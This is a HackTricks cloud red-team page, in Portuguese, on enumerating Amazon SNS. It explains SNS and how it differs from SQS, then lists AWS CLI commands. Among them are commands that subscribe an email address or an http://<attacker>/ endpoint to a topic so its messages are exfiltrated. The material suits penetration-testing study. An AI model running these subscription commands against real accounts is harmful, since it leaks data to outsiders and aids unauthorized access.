AWS - SNS Enum

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

SNS

O Amazon Simple Notification Service (Amazon SNS) é descrito como um serviço de mensagens totalmente gerenciado. Ele suporta tanto comunicação de aplicativo para aplicativo (A2A) quanto comunicação de aplicativo para pessoa (A2P).

Recursos-chave para comunicação A2A incluem mecanismos de publicação/assinatura (pub/sub). Esses mecanismos introduzem tópicos, cruciais para permitir mensagens push-based, many-to-many de alta taxa de transferência. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, os sistemas de publicação podem distribuir eficientemente mensagens para uma ampla gama de sistemas de assinantes, facilitando um padrão de mensagens de fanout.

Diferença com SQS

SQS é um serviço baseado em filas que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um único consumidor. Ele oferece entrega pelo menos uma vez, suporta filas padrão e FIFO, e permite a retenção de mensagens para tentativas de reenvio e processamento atrasado. Por outro lado, SNS é um serviço baseado em publicação/assinatura, permitindo comunicação de um para muitos ao transmitir mensagens para múltiplos assinantes simultaneamente. Ele suporta vários pontos de extremidade de assinatura como e-mail, SMS, funções Lambda e HTTP/HTTPS, e fornece mecanismos de filtragem para entrega direcionada de mensagens. Embora ambos os serviços possibilitem o desacoplamento entre componentes em sistemas distribuídos, o SQS foca na comunicação em filas, e o SNS enfatiza padrões de comunicação orientados a eventos e fan-out.

Enumeração

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Note que se o tópico for do tipo FIFO, apenas assinantes que usam o protocolo SQS podem ser usados (HTTP ou HTTPS não podem ser usados).

Além disso, mesmo que o --topic-arn contenha a região, certifique-se de especificar a região correta em --region ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.

Acesso não autenticado

pageAWS - SNS Unauthenticated Enum

Escalação de privilégios

pageAWS - SNS Privesc

Pós-exploração

pageAWS - SNS Post Exploitation

Persistência

pageAWS - SNS Persistence

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización